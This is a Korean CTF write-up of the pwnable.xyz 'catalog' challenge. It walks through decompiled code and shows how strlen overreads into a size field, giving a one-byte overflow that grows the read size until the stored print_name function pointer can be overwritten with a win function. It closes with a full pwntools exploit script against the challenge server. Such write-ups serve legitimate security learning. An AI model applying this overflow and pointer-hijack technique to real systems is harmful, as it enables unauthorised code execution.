Search

[pwnable.xyz] catalog

tag
writeup
pwn
Date
2022/01/10 14:09
Category
pwnable.xyz

1. 문제

1) mitigation 확인
NO PIE이다. got overwrite가 가능하다
2) 문제 확인
이름 쓰기, 수정, 출력이 각 메뉴로 가능하다.
3) 코드 확인
main() 함수
int __cdecl main(int argc, const char **argv, const char **envp) { int v3; // eax int i; // [rsp+Ch] [rbp-14h] int j; // [rsp+10h] [rbp-10h] int v7; // [rsp+18h] [rbp-8h] int v8; // [rsp+1Ch] [rbp-4h] setup(argc, argv, envp); while ( 1 ) { while ( 1 ) { print_menu(); v3 = read_int32(); if ( v3 != 1 ) break; write_name(); } if ( v3 <= 1 ) break; if ( v3 == 2 ) { for ( i = 0; catalog[i]; ++i ) ; printf("index: "); v7 = read_int32(); if ( v7 >= 0 && v7 < i ) edit_name((size_t *)catalog[v7]); else puts("Invalid index"); } else if ( v3 == 3 ) { for ( j = 0; catalog[j]; ++j ) ; printf("index: "); v8 = read_int32(); if ( v8 >= 0 && v8 < j ) (*(void (__fastcall **)(_QWORD))(catalog[v8] + 0x28LL))(catalog[v8]); else puts("Invalid index"); } else { LABEL_25: puts("Invalid"); } } if ( v3 ) goto LABEL_25; return 0; }
C
복사
메인에서 주요하게 볼 부분은 오렌지색이다. 1번 메뉴는 write_name() 함수를 통해 동작을 한다. 2번 수정은 edit_name함수, 3번 출력은 catalog에 저장된 함수포인터를 통해 동작하는 것으로 보인다.
write_name() 함수
size_t *write_name() { size_t v0; // rdx size_t *result; // rax int i; // [rsp+4h] [rbp-Ch] size_t *s; // [rsp+8h] [rbp-8h] s = (size_t *)malloc(0x30uLL); for ( i = 0; catalog[i]; ++i ) ; catalog[i] = s; s[5] = (size_t)print_name; s[4] = 0x20LL; edit_name(s); v0 = strlen((const char *)s); result = s; s[4] = v0; return result; }
C
복사
catalog는 bss 영역에 선언된 변수이다. 초기에 0x30 크기만큼 malloc으로 힙영역을 할당받는다. 그리고 catalog 배열에 할당받은 청크주소를 저장하고, mem 영역 맨 마지막 부분에 0x20과 print_name 함수 포인터를 넣는다.
그다음 edit_name으로 s에 입력을 받고, strlen으로 입력한 데이터 사이즈를 s[4]에 넣는다. 여기서 취약점이 터진다.
edit_name() 함수
ssize_t __fastcall edit_name(size_t *a1) { printf("name: "); return read(0, a1, a1[4]); }
C
복사
edit_name 함수는 별게 없다. catalog에 저장된 mem 영역에 read함수로 데이터를 저장하는데, 사이즈는 아까 strlen 함수로 저장한 사이즈 만큼 넣는다.

2. 접근방법

취약한 부분은 바로 strlen 함수 부분이다. 초기에 청크 +0x20 부분에 0x20 가 들어가 있지만, strlen함수로 입력한 데이터를 청크 +0x20에 다시 복사한다.
만약 0x20 바이트 만큼 꽉 채워서 데이터를 넣는다면,
strlen 함수 실행시, 0x603030에 들어있던 0x20 값까지 포함하여 읽기 떄문에 해당 strlen의 반환값은 0x21이 된다. 따라서 다음 edit_name 함수 호출시 0x603030에 들어있는 값을 사이즈로 입력받으므로 한바이트를 더 변경 가능하고, 다음 edit_name 호출시 입력받을 수 있는 사이즈를 조절이 가능하다.
0x21로 되어있는 부분은 0x60 이런식으로 변경하면, 0x603038에 들어있는 함수포인터를 변경하여 win함수로 바꿀수 있고, 3번 print_name 함수호출시 win함수를 실행하게 할 수 있다.

3. 풀이

최종익스코드는 다음과 같다
from pwn import * p=remote("svc.pwnable.xyz",30023) p.sendlineafter("> ","1") p.sendafter("name: ","A"*0x20) p.sendlineafter("> ","2") p.sendlineafter("index: ","0") p.sendafter("name: ","A"*0x21) p.sendlineafter("> ","2") p.sendlineafter("index: ","0") p.sendafter("name: ","A"*0x28+p64(0x40092C)) p.sendlineafter("> ","3") p.interactive()
Python
복사

4. 몰랐던 개념

none